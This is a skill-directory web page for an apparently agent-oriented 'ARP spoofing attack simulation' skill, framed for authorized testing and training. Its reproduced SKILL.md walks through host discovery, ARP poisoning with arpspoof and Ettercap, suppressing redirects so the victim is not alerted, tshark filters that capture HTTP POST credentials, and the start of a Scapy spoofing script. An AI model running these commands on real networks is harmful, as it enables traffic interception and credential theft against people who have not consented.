Skip to content
Skillpedia
Misc35k · #6022

performing-arp-spoofing-attack-simulation

Lets your agent simulate ARP spoofing attacks to test network security in controlled environments.

What it does

This feature simulates ARP spoofing attacks in authorized test networks. It helps verify if network defenses, like firewalls and intrusion detection systems, can identify and block this type of attack.

When to use it

  • ✓Testing the security of a lab network before it goes live.
  • ✓Demonstrating how a 'man-in-the-middle' attack works to your team.
  • ✓Checking if your network monitoring systems alert on suspicious activity.

Example of what to ask your AI

“Simulate an ARP spoofing attack on my test network to see if the IDS detects it.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

It works by tricking devices on the network into sending data through your computer instead of directly to its destination. This allows you to observe if security systems notice this change.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-arp-spoofing-attack-simulation

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Performing ARP Spoofing Attack Simulation

When to Use

  • Testing whether network switches and infrastructure properly implement Dynamic ARP Inspection (DAI)
  • Demonstrating man-in-the-middle attack risks to stakeholders during authorized security assessments
  • Validating that network monitoring tools (IDS/IPS, SIEM) detect ARP cache poisoning attempts
  • Assessing the effectiveness of port security, 802.1X, and VLAN segmentation controls
  • Training SOC analysts to recognize ARP spoofing indicators in network traffic

Do not use on production networks without explicit written authorization and a rollback plan, against networks carrying critical or life-safety traffic, or as a denial-of-service attack vector.

Prerequisites

  • Written authorization specifying in-scope network segments for ARP spoofing simulation
  • Kali Linux or similar penetration testing distribution with arpspoof, Ettercap, and Scapy installed
  • Direct Layer 2 access to the target network segment (same VLAN as target hosts)
  • IP forwarding knowledge and ability to enable/disable packet forwarding on the attacker machine
  • Wireshark or tcpdump for capturing traffic to verify interception
  • Isolated lab environment or approved production test window

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Enumerate the Target Network Segment

# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt

# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0

# Identify target hosts and their MAC addresses
arp-scan -l -I eth0

# Verify the current ARP table
arp -a

# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup

Step 2: Enable IP Forwarding

# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1

# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1

# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0

Step 3: Execute ARP Spoofing with arpspoof

# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1

# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50

# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

Step 4: Capture and Analyze Intercepted Traffic

# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50

# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
  -T fields -e frame.time -e dns.qry.name

# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
  -w ettercap_capture.pcap

Step 5: Demonstrate Impact with Scapy (Custom ARP Packets)

#!/usr/bin/env python3
"""ARP spoofing demonstration using Scapy for authorized security testing."""

from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys

conf.verb = 0

def get_mac(ip, iface="eth0"):
    """Resolve IP to MAC address via ARP request."""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
                 timeout=2, iface=iface)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
    """Send spoofed ARP reply to target."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
    """Restore legitimate ARP entries."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac)

…
FAQ

Can I use this on my regular network?

No, this feature should only be used in lab environments or on production networks with explicit permission and a plan to revert changes. Using it without authorization is illegal.

What is ARP spoofing?

It's a technique where an attacker sends fake messages to the network, associating the attacker's MAC address with another device's IP address (like the router). This causes traffic to be sent to the attacker.

What tools are used?

Common tools include arpspoof, Ettercap, and Scapy, which are specialized network manipulation programs.

Details

Original description by the author

Simulates ARP spoofing/cache-poisoning attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risk and validate Dynamic ARP Inspection, port security, and network monitoring detections. Use when testing whether switches, IDS/IPS, or a SIEM detect ARP spoofing under written authorization; do not use on production networks without expli

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#6022
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills